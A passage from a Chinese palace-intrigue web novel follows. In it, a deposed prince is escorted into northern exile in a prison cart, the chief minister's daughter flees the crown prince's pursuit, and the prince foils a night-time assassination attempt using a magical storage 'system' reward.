囚车,由坚硬的黑铁木打造,狭小而坚固,只在四面留下了碗口大的通风口。
叶玄被粗暴地扔了进去,厚重的门锁“咔嚓”一声落下。
囚车缓缓开动,从阴森的天牢驶出,汇入京城最繁华的朱雀大街。
浩浩荡荡的队伍,前方是开道的禁军,中间是这辆醒目的囚车,后面还跟着一队押送的兵士。
这阵仗,仿佛是在押送什么十恶不赦的巨寇。
皇帝叶擎天,不仅要废了他,还要他在所有子民面前,受尽最后的屈辱。
囚车所过之处,街道两旁的百姓纷纷驻足围观,指指点点。
“快看,那就是八皇子,不,现在是庶人叶玄了!”
“啧啧,真是风水轮流转啊,前几天还是高高在上的皇子,今天就成了阶下囚。”
“听说他冲撞了贵妃,活该!这种人,流放北凉都是便宜他了,那种鬼地方,能不能活到冬天都难说。”
“小声点!皇家的事也是我们能议论的?”
各种声音钻入耳中,鄙夷、嘲讽、幸灾乐祸,不一而足。
叶玄靠在冰冷的铁栏上,透过缝隙,冷漠地看着外面一张张麻木或扭曲的脸。
他的心中,没有丝毫波澜。
这些,都不过是蝼蚁的聒噪。
就在这时,他的目光微微一凝。
街角的一座茶楼二楼,凭栏处,一道素雅的身影静静伫立。
那是一名女子,身着一袭月白色长裙,未施粉黛,却清丽绝俗,宛如一朵不染尘埃的雪莲。
她没有像其他人一样指指点点,只是静静地看着囚车的方向,清冷的眸子里,带着一丝探究与思索。
苏轻雪。
首辅苏长青的嫡女,名满京城的绝代才女。
此刻,苏轻雪的心绪也确实不平静。
她看着那辆缓缓驶过的囚车,心中愈发坚定了自己的某个念头。
太子叶天,骄奢淫逸,志大才疏,为达目的不择手段。
今日能如此对待一个身负重伤的亲弟弟,来日登上大宝,又会如何对待朝臣与百姓?
将自己的未来,将苏家的未来,押在这样一个人身上,无异于一场豪赌。
而她,从不打没有把握的仗。
嫁给太子,哪怕是正妃之位,她也不屑一顾。
她正准备收回目光,转身离去,一个让她头疼的声音却在身后响了起来。
“轻雪妹妹,真是巧啊,你也在这儿看热闹?”
苏轻雪身形微不可察地一僵,缓缓转过身,脸上已经挂上了得体的微笑。
“见过七公主。”
来人正是七公主叶清歌。
她今日换了一身娇俏的鹅黄色宫装,脸上的红肿早已消失不见,肌肤光洁如玉,显然是那瓶玉容膏起了奇效。
但她眉宇间那股子刁蛮与怨毒,却丝毫未减。
“咱们姐妹,何须如此多礼。”叶清歌亲热地走上前来,挽住苏轻雪的手臂,目光却瞥了一眼远去的囚车,嘴角勾起一抹快意的冷笑。
“妹妹也是来看那贱种的下场的?真是大快人心!父皇英明,就该让他去北凉那种地方喂野狗!”
苏轻雪不动声色地抽出自己的手臂,淡笑道:“公主殿下言重了。八……庶人叶玄毕竟曾是皇子,落得如此下场,令人唏嘘罢了。”
“一个杂种而已,死不足惜!再说了,除了外边那些平民,宫里头谁把他当皇子了?”
叶清歌话语十分不屑,眼中带着一丝丝恨意,直到现在她的脸上都还隐隐作痛。
“不说这个晦气的东西了。妹妹,我今日来,是替太子哥哥给你带话的。”
来了。
苏轻雪心中暗叹一声,面上却依旧平静如水。
“太子哥哥对你可是一片真心,他说,只要你点头,侧妃之位虚位以待。入东宫后,你的地位将仅次于太子妃,享无尽荣华。”
叶清歌的语气带着一种施舍般的高傲,仿佛这是天大的恩赐。
苏轻雪看着她,忽然觉得有些可笑。
她微微欠身,声音清冷而坚定,却又让人挑不出半点错处。
“劳烦公主殿下替我谢过太子殿下厚爱。”
“只是,轻雪自幼体弱,又一心向往青灯古卷的闲散日子,恐怕无福消受东宫的泼天富贵。”
“太子殿下乃人中之龙,未来的一国之君,身边当有贤良淑德的贵女相伴。轻雪蒲柳之姿,才疏学浅,实不敢耽误太子殿下的千秋大业。”
这番话说得滴水不漏,既抬高了太子,又表明了自己“配不上”的态度。
但拒绝的意思,却再明显不过。
叶清歌脸上的笑容彻底挂不住了。
她没想到苏轻雪敢当面拒绝,而且是第三次!
“苏轻雪!你别给脸不要脸!”
她的声音陡然拔高,公主的骄横之气再也无法掩饰,“我太子哥哥看得上你,是你的福气!你一个臣子之女,竟敢三番两次地拒绝?你把皇家威严置于何地?!”
“你信不信,只要我哥哥一句话,就能让你们苏家……”
“公主殿下。”
苏轻雪清冷的声音,平静地打断了她的威胁。
“家父常教导我,为人臣者,当恪尽职守,忠君爱国。为人子女者,当谨言慎行,不给家族蒙羞。”
她抬起眼眸,直视着叶清歌,目光清澈,却带着一股无形的压力。
“轻雪自认,并未做错任何事。”
言下之意,若是苏家因此被打压,那便是皇家无德,太子无能。
叶清歌被她这软中带硬的话噎得半天说不出一个字,一张俏脸涨得通红,胸口剧烈起伏。
她想发作,可是在这人来人往的茶楼里,若是传出她以势逼人,强迫首辅千金嫁给太子的闲话,丢脸的还是她和太子。
苏轻雪见她已在失控的边缘,便恰到好处地再次行了一礼。
“家中尚有要事,轻雪先行告退。公主殿下,请便。”
说完,她不再看叶清歌一眼,带着侍女,转身款款下楼,背影挺直,步履从容。
只留下叶清歌一人,在原地气得浑身发抖,指甲深深地掐进了掌心。
“苏轻雪!好!你给我等着!”
……
囚车之内。
叶玄缓缓睁开了眼睛。
刚才那一幕,他虽未亲眼所见,但凭借人皇霸体带来的超凡听力,却是听得一清二楚。
天子望气术,悄然运转。
他的视线仿佛穿透了铁壁,落在了那道渐行渐远的素雅身影上。
【姓名】:苏轻雪
【身份】:大乾王朝首辅嫡女
【修为】:无
【气运】:青中带紫,凤凰之影若隐若现。(天命凤格,贵不可言)
【忠诚度】:0(陌生)
天命凤格?
叶玄的嘴角,勾起一抹玩味的弧度。
有意思。
真是越来越有意思了。
太子叶天,有眼无珠,竟将一块绝世美玉,当成顽石,还试图强取豪夺,将其敲碎。
愚蠢至极。
他的目光从苏轻雪的背影上收回,望向了遥远的北方。
那里,是冰天雪地的北凉。
是世人眼中的绝境,流放之地。
但在叶玄眼中,那里,将是他这条过江猛龙,潜龙在渊的起点。
京城,太子,皇帝……
等着我。
洗干净脖子,等着我回来取!
囚车碾过青石板路,发出“咕噜咕噜”的声响,载着一个被废的皇子,也载着一个即将席卷天下的滔天意志,渐行渐远。
第6章 老狐狸的请罪茶
苏府,静心堂。
檀香袅袅,沁人心脾。
苏轻雪一袭月白长裙,静立于窗前,看着庭院中那棵百年银杏,秋风未至,叶片却已有了几分萧索之意。
她的神情一如既往的清冷,仿佛刚才在茶楼上与七公主叶清歌那番近乎撕破脸的对话,不过是拂过水面的清风,未曾留下半点涟漪。
“回来了。”
一个沉稳温和的声音自身后响起。
苏轻雪回身,对着书案后那个身着绯色官袍,鬓角微霜却依旧腰背挺直的中年男子,盈盈一拜。
“父亲。”
大乾王朝一人之下万人之上的首辅,苏长青。
他没有抬头,依旧在批阅着手中的公文,只是淡淡问道:“见到太子派去的人了?”
“是七公主。”苏轻雪的声音平静无波。
“她还是那般沉不住气。”苏长青笔锋一顿,将朱笔搁在砚台上,抬起头,深邃的目光落在自己这个引以为傲的女儿身上,“你拒绝了?”
“是。”
“理由呢?”
“轻雪言,蒲柳之姿,不堪东宫富贵,恐误太子千秋大业。”
苏长青闻言,嘴角浮现一抹赞许的笑意,但很快又被一抹深沉的凝重所取代。
“说得好,滴水不漏。”
他站起身,踱步到窗边,与女儿并肩而立。
“可太子叶天,他不是个听得进道理的人。”
苏长青的目光仿佛穿透了府邸的高墙,望向了那座金碧辉煌的东宫。
“他是一头饿狼,你看上的猎物,他会用尽一切办法弄到手。礼貌的敲门,他试过了,既然门不开,下一步,他就要拆墙了。”
苏轻雪清冷的眸子里闪过一丝明悟:“父亲的意思是?”
“太子此人,志大才疏,性情暴戾。今日他能将手足兄弟贬为庶人,流放不毛之地,明日就能为一己之私,对朝中大臣举起屠刀。”
苏长青的声音压得很低,却字字如铁。
“我们苏家,立于朝堂百年,靠的不是站队,而是为国为民的本心。我本想中立,看着皇子们相争,以待明主。但现在,太子已经把我们逼到了悬崖边上。”
他转过头,看着苏轻雪那张清丽绝俗的脸,眼中闪过一丝疼惜。
“你拒绝他,不是你的错。是这太子,配不上我苏家的女儿。”
“但他的报复,很快就会到来。明面上,他或许会请动陛下赐婚,以皇命压人。”
苏轻雪秀眉微蹙:“若陛下赐婚……”
“那便是逼宫。”苏长青冷笑一声,“我苏长青若连女儿都护不住,这首辅之位,不要也罢!届时满朝文武,天下士子,会如何看待他这个储君?”
“但他更可能会用暗的。”苏长青的眼神变得锐利起来,“他会用一些上不得台面的手段,逼你就范,甚至……直接将你掳进东宫。到那时,生米煮成熟饭,我苏家便是骑虎难下,只能捏着鼻子认了,彻底沦为他的鹰犬。”
苏轻雪的心微微一沉。
她知道,以太子叶天的品性,这种事他绝对做得出来。
“所以,你必须马上离开京城。”苏长青一字一顿地说道。
“离开?”
“对,离开。”苏长青眼中闪烁着老谋深算的光芒,“只要你不在京中,无论是陛下赐婚,还是太子用强,都无从下手。这是一步险棋,也是唯一能破局的棋。”
苏轻雪冰雪聪明,瞬间明白了父亲的深意。
她不在,苏家就有了回旋的余地。
“女儿明白。”她没有丝毫犹豫,点了点头,“去哪里?”
苏长青深深地看了她一眼,缓缓吐出两个字。
“北上。”
苏轻雪的身体微不可察地一僵。
北上?
北凉的方向?
“太子会以为,你会去往江南水乡,或是回南方祖籍。他绝不会想到,你会去往那苦寒的流放之地。”苏长青的嘴角勾起一抹意味深长的弧度,“最危险的地方,往往最安全。”
他顿了顿,又补充了一句。
“而且,我总觉得,那个被流放的八皇子,或许不像表面上那么简单。你去看看,也好。”
苏轻雪的心湖,第一次泛起了剧烈的涟漪。
她想起了囚车经过时,那个瘫软在车里,本该奄奄一息的身影。
不知为何,她总觉得有一道目光,穿透了囚车的铁壁,落在了自己的身上。
“好。”她应了下来。
……
东宫。
“岂有此理!岂有此理!”
名贵的琉璃盏被狠狠地砸在地上,四分五裂。
太子叶天面色铁青,胸口剧烈起伏,眼中满是暴怒的火焰。
“她竟敢!她竟敢当众拒绝本宫!”
叶清歌站在一旁,脸上挂着幸灾乐祸的快意,嘴里却还在不停地添油加醋。
“是啊,太子哥哥!那苏轻雪简直不把您,不把我们皇家放在眼里!我好心好意去传话,她却说什么蒲柳之姿,配不上您,这不是拐着弯骂您眼光差吗?还说您身边该有贤良淑德的贵女,言下之意,就是她不屑与您为伍!”
每一句话,都像是一勺滚油,浇在叶天心头的怒火上。
“好一个苏轻雪!好一个首辅嫡女!”
叶天怒极反笑,眼神阴冷得可怕。
“敬酒不吃吃罚酒!”
“本宫给了她三次机会,是她自己不要的!”
他猛地转身,对着殿外的阴影处厉声喝道:“来人!”
一名身着黑甲,气息沉凝的卫士如鬼魅般出现在殿中,单膝跪地。
“殿下!”
“传本宫命令,命东宫卫率精锐,立刻给本宫盯死苏府!”叶天的声音充满了不容置疑的残忍,“给本宫把苏轻雪,完好无损地‘请’进东宫来!”
“记住,是‘请’!”他特意加重了读音,其中的威胁之意,不言而喻。
“若苏家有人敢拦,格杀勿论!”
“是!”
黑甲卫士领命,身影一闪,再次消失在黑暗中。
叶天看着卫士消失的方向,脸上露出一抹狰狞的冷笑。
苏轻雪,你以为你是谁?清高?才女?
在本宫面前,你不过是一个随时可以捏碎的玩物!
等把你弄到手,本宫要让你知道,什么叫求生不得,求死不能!
然而,他得意的笑容还没维持多久。
不到一炷香的时间,一名卫士匆匆来报。
“启禀殿下,苏府后门刚刚驶出一辆马车,行色匆匆,直奔北城门而去!”
“哦?”叶天眉毛一挑,随即冷笑起来。
“想跑?”
“苏长青啊苏长青,你这老狐狸,也就这点伎俩了。以为把女儿送出城,本宫就拿你没办法了?”
他眼中闪过一丝不屑。
“真是天真!”
“传令下去,让出城的人马,不必遮掩,全速追击!本宫要在天黑之前,看到苏轻雪跪在本宫的面前!”
“遵命!”
看着手下人匆匆离去,叶天的心情瞬间舒畅了许多,仿佛已经看到了苏轻雪那张清冷绝俗的脸上,露出惊恐和绝望的表情。
他缓缓坐回主位,端起一杯新沏的茶,慢悠悠地品着。
一切,尽在掌握。
可就在这时,一名太监碎步跑了进来,尖着嗓子禀报。
“启禀太子殿下,首辅苏长青大人,在宫外求见。”
第7章 北上之路。
“嗯?”
叶天端着茶杯的手,停在了半空中。
苏长青?
他来干什么?
女儿刚跑,他就来了?示威?还是求情?
叶天眼中闪过一丝玩味,他倒要看看,这只老狐狸想耍什么花样。
“让他进来。”
片刻之后,苏长青手捧一个精致的锦盒,着急忙慌的走了进来,脸上带着恰到好处的惶恐与歉意。
“老臣苏长青,拜见太子殿下。”
他躬身行礼,姿态放得极低。
“老臣教女无方,惊闻小女今日在茶楼言语无状,冲撞了七公主殿下,心中万分惶恐,特备薄礼,前来向殿下与公主殿下请罪!”
叶天看着苏长青那张诚恳的脸,心中冷笑连连。
演!
你接着演!
你的宝贝女儿,此刻正在被我的卫队追得像狗一样,你还有心情在这里演戏?
他脸上却瞬间换上了一副宽宏大量的笑容,亲自走下台阶,扶起苏长青。
“哎呀,苏首辅,你这是做什么!快快请起!”
“清歌年幼,轻雪也是个好孩子,姐妹之间有些口角,乃是常事,何至于惊动首辅大人亲自前来。”
他拉着苏长青的手,亲热得像是翁婿一般。
“来来来,坐下说话。”
他给一旁的叶清歌使了个眼色,叶清歌虽然不忿,但也知道此时不该她插嘴,不情不愿地行了一礼,退了下去。
大殿之中,只剩下太子与首辅二人。
“苏首辅,你我名为君臣,实则亲如一家。些许小事,不必挂在心上。”叶天笑呵呵地说道。
苏长青也是一脸感激涕零的模样:“殿下宽宏大量,老臣感激不尽。唉,说起来,都怪老臣平日疏于管教。轻雪那孩子,就是性子太倔,又兼之体弱多病。”
他恰到好处地叹了口气,脸上露出担忧之色。
“这不,京中秋意渐浓,天气转凉,她的旧疾畏寒症又有复发的迹象。老臣实在是担心,便做主,让她去南方的庄子上修养一阵子,避避风寒。刚刚才派人送她出城。”
“哦?去了南方?”
叶天脸上的笑容,在听到南方两个字时,微不可察地僵硬了一瞬。
他的手下,明明汇报是去的北城门!
这老狐狸,在诈我?
不,不对!
叶天瞬间反应过来。
声东击西!
明面上走北门,吸引我的注意,实际上真正的人,已经从别的城门,悄悄去了南方!
好一只老狐狸!
叶天心中怒火翻腾,恨不得立刻下令封锁所有南下的官道。
但他不能。
他现在正在和苏长青相谈甚欢,若是突然下令,岂不是不打自招,承认自己在派人追捕他的女儿?
那他这个太子的脸面,还要不要了?
他只能强压下心中的惊怒,脸上依旧挂着和煦的微笑。
“原来如此。那可真是不巧,本宫还想着过几日的东宫秋宴,请轻雪妹妹来一展才情呢。不过,身体要紧,身体要紧啊。”
苏长青连忙拱手:“多谢殿下挂怀。等小女身体好转,老臣一定让她亲自登门,向殿下谢恩。”
两人你来我往,言语间滴水不漏,气氛融洽到了极点。
但那平静的茶水之下,早已是暗流汹涌,杀机四伏。
又虚与委蛇地聊了半个时辰,苏长青才起身告辞。
叶天亲自将他送到殿外,看着他那不疾不徐,从容不迫的背影,脸上的笑容终于一点点消失,取而代之的,是火山爆发前的阴沉。
“砰!”
他转身回到殿内,一脚将身旁的紫檀木长案踹翻在地!
“苏!长!青!”
三个字,几乎是从牙缝里挤出来的。
他被耍了!
被这只老狐狸,当猴一样耍了!
他不仅没能抓住苏轻雪,反而还被苏长青堵在东宫,眼睁睁地看着对方从容布局,自己却什么都做不了!
这口恶气,让他几欲发狂!
“来人!”他怒吼道。
“传令下去!给我查!把整个江南翻过来,也要给本宫把苏轻雪找出来!”
“还有!”他的眼中闪过一丝毒辣的光芒,“给我盯紧了苏长青!他不是想保全苏家吗?本宫就先从他身上,拔下一层皮来!”
一股前所未有的杀意,在东宫之中,疯狂弥漫。
而此刻,一辆不起眼的马车,正混在出城的商队中,碾过北上的官道,与那辆押送着叶玄的囚车,走向了同一个方向。
车轮碾过青石板的颠簸感,终于被平稳的土路所取代。
马车内的熏香,再也压不住从窗外渗进来的、混杂着尘土与草木的萧瑟气息。
京城的喧嚣,被彻底甩在了身后。
苏轻雪一直紧绷的身体,这才微不可察地松缓了半分。
她知道,自己已经出城了。
暂时,安全了。
“忠叔,我们现在到哪了?”她清冷的声音响起,带着一丝不易察觉的疲惫。
车帘外,传来一个苍老而恭敬的声音。
“小姐,已出北城门十里,入了官道。老奴已经按照老爷的吩咐,混入了去往北地的商队中,轻易不会引人注意。”
“辛苦忠叔了。”
苏轻雪臻首轻点,目光却不由自主地望向了马车前进的方向。
那个方向,是北凉。
一个在她过去的人生规划中,从未出现过的苦寒之地。
而现在,那里却成了她唯一的去处。
脑海中,不由自主地浮现出白日里那个躺在囚车中的身影。
落魄,狼狈,奄奄一息。
可不知为何,她总觉得,在那具残破不堪的身体之下,蛰伏着一头沉睡的猛虎。
尤其是父亲那句意味深长的话——“那个被流放的八皇子,或许不像表面上那么简单”,更是在她的心湖投下了一圈圈涟漪。
沉默了片刻,她像是下定了某种决心。
“忠叔。”
“老奴在。”
“能再快一些吗?”苏轻雪的声音很轻,却透着一股不容置疑的坚定,“我想……追上今天一早出城的那支队伍。”
赶车的忠叔闻言,握着马鞭的手微微一顿。
那支队伍?
押送八皇子的囚车?
他虽然心中疑惑,但作为苏府的老人,他深知什么该问,什么不该问。
“小姐放心。”
忠叔沉声应道,没有半句废话。
“老奴,尽力而为!”
话音落下,他手腕一抖,长鞭在空中甩出一个清脆的响鞭,却并未落在马身上。
“驾!”
一声低喝,训练有素的骏马仿佛听懂了主人的意志,四蹄翻飞,拉着这辆毫不起眼的马车,陡然提速,在官道上卷起一道黄龙,朝着那遥远的北方,奋力追去。
……
第8章 谁是猎人?
与此同时。
北上的官道上,另一支队伍正不紧不慢地前行着。
队伍的中央,是一辆由精铁打造的囚车。
“哐当……哐当……”
车轮每一次转动,都像是碾在人的骨头上,颠簸得让人五脏六腑都错了位。
叶玄靠坐在囚车的角落,双手被沉重的镣铐锁着,神情却平静得可怕。
他没有理会身上传来的阵阵酸痛,也没有在意那几个押送官兵不时投来的鄙夷目光。
他的视线,穿透囚车的栅栏,望向了外面那片荒凉的土地。
官道两旁,是大片被抛荒的田地,枯黄的野草长得比人还高。
偶尔能看到几个村落,也大多是破败的茅草屋,十室九空,见不到半点炊烟。
几个衣衫褴褛、面黄肌瘦的孩童在路边追逐着囚车,不是为了看热闹,而是希望能从车上掉下些什么吃的。
他们的眼神里,没有孩童该有的天真,只有麻木和对食物最原始的渴望。
这就是大乾王朝的根基吗?
叶玄的目光深处,闪过一丝冷意。
金玉其外,败絮其中。
京城的繁华,不过是建立在无数底层百姓的累累白骨之上。
那个坐在龙椅上的父皇,那个高高在上的太子,他们可曾看过一眼这般景象?
或许看过,但他们不在乎。
叶玄缓缓收回目光,心中那复仇的火焰,燃烧得更加旺盛。
他要的,不仅仅是让叶天和那些曾经践踏过他的人血债血偿。
他要的,是坐上那个最高的位置,将这腐朽的王朝,彻底推倒重建!
就在这时,一道冰冷的机械音,突兀地在他脑海中响起。
【叮!检测到宿主已离开京城龙气压制范围。】
来了!
叶玄心中一动,面上却依旧不动声色。
【当前可签到地点:大乾北境官道。是否签到?】
“签到。”
他没有丝毫犹豫,在心中默念。
【签到成功!恭喜宿主获得奖励:芥子空间(一立方)!】
话音落下的瞬间,叶玄感觉到自己的意识中,仿佛凭空多出了一个奇妙的连接。
那是一个约莫一立方大小的、绝对虚无的独立空间。
他心念一动,视线落在脚边一根因颠簸而断裂的木刺上。
“收。”
下一秒,那根木刺凭空消失。
他的意识沉入芥子空间,清晰地“看”到那根木刺正静静地悬浮在其中。
“放。”
木刺又凭空出现在了原来的位置,仿佛从未动过。
成了!
叶玄的嘴角,勾起一抹无人察觉的弧度。
虽然只是一个一立方米的空间,但在眼下这种绝境之中,这简直就是神迹!
食物、水、伤药,甚至是一些小巧的武器……
只要有机会,他就能将这个小小的空间,变成自己翻盘的最大底牌!
压下心中的激动,叶玄的注意力重新回到了外界。
他看似在闭目养神,实则眼角的余光,正冷冷地锁定着押送队伍里的几个人。
这支队伍有二十人,大部分都是禁军的普通士卒,一个个懒懒散散,满脸都是被派了苦差事的晦气。
但其中有三个人,却显得格格不入。
他们的站位看似随意,却隐隐形成一个三角之势,将囚车护在(或者说监视在)中央。
他们的眼神,比其他士卒要锐利得多,时刻都在警惕地扫视着四周。
就在刚才,队伍经过一个三岔路口时,其中一人装作脚下被绊了一下,身体一个趔趄。
在他重新站稳的时候,他的军靴鞋底,在路口通往北凉的那条路上,留下了一道极不显眼的划痕。
而行进了约莫一炷香后,另一人借着解手的机会,从路边捡起一块石头,看似随意地丢在了草丛里。
但叶玄看得分明,那块石头的颜色和形状,与周围的石子截然不同。
他们在留记号。
叶玄的心中,一片雪亮。
叶擎天那只老狐狸,绝不会用这种粗劣的手段来派人保护自己。
那么,这些人的身份就不言而喻了。
是叶天的人。
他们不是来保护他的,而是来确保他这条“死狗”,能被准确无误地送到屠宰场。
在他们的身后,必然还跟着一支真正的“行刑队”。
太子,是想让他在路上,就“意外”死掉啊。
想明白这一点,叶玄非但没有丝毫紧张,反而觉得有些可笑。
叶天啊叶天,你终究还是这般沉不住气。
也好。
他缓缓闭上了眼睛,将所有的气息都收敛起来,重新变成了那个虚弱不堪、任人宰割的废皇子。
就让你们以为,我是一只待宰的羔羊吧。
北上的路还很长。
这荒郊野岭,正是杀人埋骨的好地方。
就看,到底是谁,埋了谁!
囚车继续前行,碾过荒凉的官道,发出单调而压抑的声响。
很快
夜,深了。
风,也冷了。
北境官道旁的荒野上,一堆篝火“噼啪”作响,驱散着有限的黑暗,却驱不散那深入骨髓的寒意。
二十名押送的官兵围坐在篝火旁,一个个垂头丧气,满脸晦气。
“他娘的,这鬼天气,冻死个人!”
一个满脸络腮胡的兵痞往火堆里扔了根枯枝,狠狠地啐了一口。
“可不是嘛!京城里兄弟们都在醉仙楼听曲儿,咱们却要押着这个废物去北凉那鸟不拉屎的地方,来回至少一个多月,真是倒了八辈子血霉!”
“谁说不是呢,这趟差事半点油水没有,还得喝这西北风。都怪囚车里那个扫把星!”
说着,几道充满恶意的目光,齐刷刷地射向了不远处的囚车。
他们的声音不大不小,刚好能让囚车里的叶玄听得一清二楚。
抱怨,咒骂,污言秽语,不绝于耳。
他们将自己被派这趟苦差的所有怨气,都发泄到了这位曾经高高在上的八皇子身上。
仿佛只有这样,才能让他们心中好受一些。
囚车内,叶玄靠在冰冷的铁栏上,双目紧闭,呼吸平稳,仿佛早已睡熟。
对那些不堪入耳的咒骂,他充耳不闻。
跟一群将死之人,有什么好计较的?
他的心神,早已沉入了自己的计划之中。
白天,他已经利用芥子空间,神不知鬼不觉地收走了囚车木板上的一根长约三寸、断口锋利如刃的木刺。
那将是他破局的第一件武器。
他还看到,那三个属于太子的眼线,在晚饭时,偷偷将一种无色无味的粉末,倒入了其他士卒的水囊中。
是蒙汗药。
太子的人,显然不希望这些禁军士卒成为行刑队的阻碍。
他们需要一场干净利落的“意外”。
叶玄的嘴角,在无人看见的黑暗中,勾起一抹冰冷的弧度。
很好。
这省去了他不少功夫。
他现在要做的,就是等待。
等待真正的“猎人”入场。
第9章 刺客上门
“啊——”
一个官兵打了个长长的哈欠,眼皮重若千斤,再也支撑不住。
“不行了不行了,困死了,我先眯一会儿。”
他话音未落,脑袋一歪,已靠着身后的行李沉沉睡去。
“我也扛不住了……”
如同推倒了第一块多米诺骨牌,药效,以一种无可阻挡的姿态,席卷了整个营地。
很快,除了那三个始终保持着清醒的太子眼线,其余的十七名禁军士卒,全都东倒西歪,鼾声四起,对外界的一切都失去了感知。
那三人阴冷地对视一眼,都从对方的瞳孔中,看到了一抹残忍的得意。
计划,天衣无缝。
其中一人缓缓站起身,踱步到囚车之前,昏暗的火光将他的影子拉得如同鬼魅。
他弯下腰,凑近冰冷的铁栏,用一种猫戏老鼠的语调,低声嘲讽:
“八殿下,睡着了吗?”
“这荒郊野岭的,夜深人静,可要当心有豺狼虎豹出没啊。”
他的声音里,满是毫不掩饰的恶意与鄙夷。
囚车内的叶玄,一动不动,呼吸平稳悠长,仿佛早已陷入了深沉的梦乡。
“闭上你的狗嘴!”
另一名眼线低声呵斥道,语气中带着一丝紧张。
“别节外生枝!安分等着,等人来了,咱们的任务就算彻底完成了!”
领头的那人点了点头,压下了心中那点可怜的施虐欲,重新坐回火堆旁,双眼如鹰隼般,警惕地扫视着四周的黑暗。
时间,一分一秒地流逝。
篝火渐渐微弱,只剩下明明灭灭的暗红色炭火,在寒风中苟延残喘。
周围的虫鸣声,不知何时已经彻底消失。
空气中,弥漫开一股令人心悸的死寂,仿佛连风都被凝固了。
来了。
囚车内,叶玄那长长的睫毛,微不可察地颤动了一下。
沙……沙……
极轻微的脚步声,从远处的山林中传来。
那声音轻得可怕,像是枯叶被夜风拂过,若不凝神细听,根本无从察觉。
五道黑影,如真正的鬼魅,悄无声息地从林间的阴影中滑出,融入了这片深沉的夜色。
他们身着紧束的夜行衣,脸上蒙着黑布,只露出一双双毫无感情、宛若深渊的眼睛。
他们的动作整齐划一,落地无声,每一步都精确地踩在枯草与浮土之上,将行动发出的声响降到了最低。
这是真正的杀手。
与营地里这群懒散的兵痞,完全是两个世界的存在。
那三个醒着的太子眼线,在看到黑影的瞬间,身体本能地紧绷起来,手已经下意识地握住了腰间的刀柄。
领头的黑衣人,对着他们,隔空做了一个稍安勿躁的手势。
随即,他的手指,如一柄出鞘的利剑,直直地指向了那辆孤零零的囚车。
意思,再明确不过。
目标,是囚车里的八皇子叶玄。
三名眼线顿时松了口气,紧绷的肌肉重新舒缓下来,甚至嘴角勾起了一丝幸灾乐祸的冷笑。
他们识趣地缓缓后退,为这群专业的“刽子手”,让开了通往囚车的死亡之路。
领头的黑衣人眼中闪过一丝几不可察的满意。
他轻轻一挥手。
瞬间,两名黑衣人从他身后分出,身形一晃,如两道没有重量的青烟,飘向那些睡得如同死猪一般的禁军士卒。
他们的任务,是清理掉所有潜在的目击者。
一个不留。
另外两名黑衣人,则亦步亦趋地跟随着首领,径直走向囚车。
三股冰冷刺骨的杀意,如同三张无形的大网,瞬间将囚车连同里面的叶玄,彻底锁定。
在黑衣首领的眼中,叶玄就是一个插翅难飞的笼中之鸟,一个任人宰割、毫无反抗之力的废物。
他甚至已经想好了,等会要如何用最快的速度,扭断这个废皇子的脖子,然后将其伪造成被饥饿的野兽袭击致死的假象。
干净,利落。
他走到囚车前,从腰间摸出一把造型奇特的黄铜钥匙,准备打开那把锈迹斑斑的铁锁。
另外两名同伴,已经无声地举起了手中淬毒的匕首,锋利的刃尖,对准了旁边熟睡官兵的咽喉。
一切,都在按照计划,完美地进行。
然而,就在黑衣首领将钥匙插入锁孔,即将转动的那一刹那!
“噗!”
一声轻微到几乎无法听见的、利器刺入血肉的声音,在这死寂的夜里,突兀地响起!
黑衣首领的动作,猛然一僵!
时间,仿佛在这一刻被按下了暂停键。
他难以置信地低下头。
一截被磨得锋利无比的木刺,不知何时,竟如毒蛇吐信,从囚车的铁栏缝隙中闪电般刺出!
不偏不倚,精准无误地,深深没入了他握着钥匙的手腕!
那根木刺,仿佛经过了千百次的计算,直接贯穿了他的手筋!
剧痛!
撕心裂肺的剧痛,瞬间从手腕处炸开,疯狂地席卷他的每一根神经!
“呃!”
他喉咙里刚要发出一声压抑不住的闷哼示警。
异变再生!
“当啷——!”
一声无比清脆响亮的金属碰撞声,在死寂的夜里,骤然炸响!
是叶玄!
他在刺出手腕那根木刺的同时,被镣铐锁住的右脚,用尽全身力气,狠狠地踢在了囚车的铁栏之上!
这一脚,势大力沉!
镣铐与铁栏的撞击,发出的声响,如同平地惊雷!
又像是黑夜中敲响的警钟!
瞬间惊动了那三个本以为可以高枕无忧、置身事外的太子眼线!
也惊动了那两个正要割喉的黑衣杀手!
“不好!有变!”
黑衣首领又惊又怒,肝胆俱裂!
他做梦也想不到,一个戴着沉重镣铐、身受重伤的废人,竟能爆发出如此迅猛、如此精准、如此致命的反击!
他想抽回手,却发现那根该死的木刺如同长在了他的骨头上,死死地将他钉在了囚车上!
而那两个正要屠戮官兵的黑衣人,也被这突如其来的惊天变故,惊得动作一滞,下意识地回头望来。
就是这一瞬间的迟滞,决定了他们的生死。
也决定了今夜的结局。
“你们什么意思?!”
那三名太子的眼线,虽然是一群趋炎附势的废物,但终究是军中士卒,并非毫无警觉。
他们看到黑衣人不仅要杀叶玄,连那些沉睡的人也不放过,瞬间明白了一切!
灭口!
这些人要将他们所有人,连带着自己,全部灭口!
求生的本能,压倒了所有的心思!
第10章 现在轮到你们了
“有刺客!”
一声凄厉的怒吼,划破了寂静的夜空。
“锵!”“锵!”“锵!”
三把佩刀同时出鞘,带起三道森然的寒光!
一场原本计划周密、万无一失的暗杀,因为叶玄这匪夷所思、堪称神来之笔的一刺一踢,瞬间变成了一场血腥混乱的遭遇战!
“噗嗤!”
“啊!”
被惊醒的,不止是他们。
那十七名被蒙汗药迷倒的官兵,在巨大的声响和垂死的惨叫刺激下,也有几人强撑着昏沉的脑袋,迷迷糊糊地睁开了眼睛。
他们看到的,是同伴被黑衣人一刀封喉,鲜血喷溅的恐怖景象!
“敌袭!!”
“杀!”
尽管药力未消,身体酸软无力,但军人的本能还是让他们抓起了手边的兵器,怒吼着加入了战团。
营地,瞬间大乱!
黑衣首领看着那三个拔刀冲来,状若疯虎的眼线,又看了看那些摇摇晃晃站起来的官兵,眼中杀机爆射。
废物!
一群成事不足败事有余的废物!
他顾不得手腕的剧痛,左手成掌,狠狠一劈,竟硬生生将那根木刺连带着一小块血肉,从手腕上斩断!
他厉声喝道:“速战速决!先杀了他们!”
一场混战,骤然爆发。
刀光剑影,血肉横飞。
惨叫声,怒吼声,兵器碰撞声,响彻了整个荒野。
而这一切的始作俑者,叶玄,则重新靠回了囚车的角落。
他收回了踢出的脚,仿佛刚才的一切都与他无关。
他静静地看着眼前这场由他亲手点燃的、狗咬狗的血腥闹剧,那双深邃的眸子里,是一片深不见底的冷漠与讥诮。
